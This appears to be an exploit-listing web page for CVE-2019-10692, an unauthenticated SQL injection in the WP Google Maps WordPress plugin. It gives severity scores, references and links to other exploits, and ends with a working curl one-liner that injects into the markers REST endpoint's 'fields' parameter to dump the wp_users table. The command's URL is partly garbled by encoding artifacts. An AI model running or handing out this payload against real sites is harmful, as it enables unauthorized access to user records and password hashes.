Exploit for WP Google Maps 7.11.00-7.11.17 - Unauthenticated SQL Injection

wpexploit · 2019-04-02

Description

WP Google Maps 7.11.00-7.11.17 Unauthenticated SQL Injection vulnerabilit

Entry point

Parameterrest_route · query param

Pathindex.php?rest_route=/wpgmza/v1/markers

SQL injection vulnerability in wp-google-maps REST endpoint via fields param

Affected Codecabin Wp Go Maps versions

Codecabin Wp Go Maps< 7.11.18

All known vulnerabilities by product

CVSS 7.5 for CVE-2019-10692

7.5

HIGH SEVERITY

VectorAV:N/AC:L/Au:N/C:P/I:P/A:P

EPSS Score

78.7%higher than 99.5% of all CVEs

Updated 2026-06-16

References

https://plugins.trac.wordpress.org/changeset/2061434/wp-google-maps/trunk/includes/class.rest-api.php

https://packetstormsecurity.com/files/159640/

https://vulners.com/exploitdb/EDB-ID:48918

Exploit Details

Modified:2020-11-19 06:03

Last Seen:2021-02-15 22:32

Reporter:wpvulndb

Tags

wp google mapsunauthenticatedsql injectionsecurity exploit

Other exploits for CVE-2019-10692

WordPress Google Maps Plugin SQL Injection

2024-08-31 Thomas Chauchefoin, metasploit.comPACKETSTORMRuby

WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection

2020-10-20 Jonatas FilEXPLOITDB

WordPress Rest Google Maps SQL Injection

2020-10-20 Jonatas FilPACKETSTORM

WordPress Google Maps Plugin SQL Injection

2019-04-11 Thomas Chauchefoin (Synacktiv)METASPLOITRuby

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:475404CE-2A1A-4D15-BF02-DF0EA2AFDAEA
curl -k --silent "http://example.com/index.php?rest_route=3D/wpgmza/v1/markers/&filter=3D%7B%7D&=fields=3D*+from+wp_users+--+-"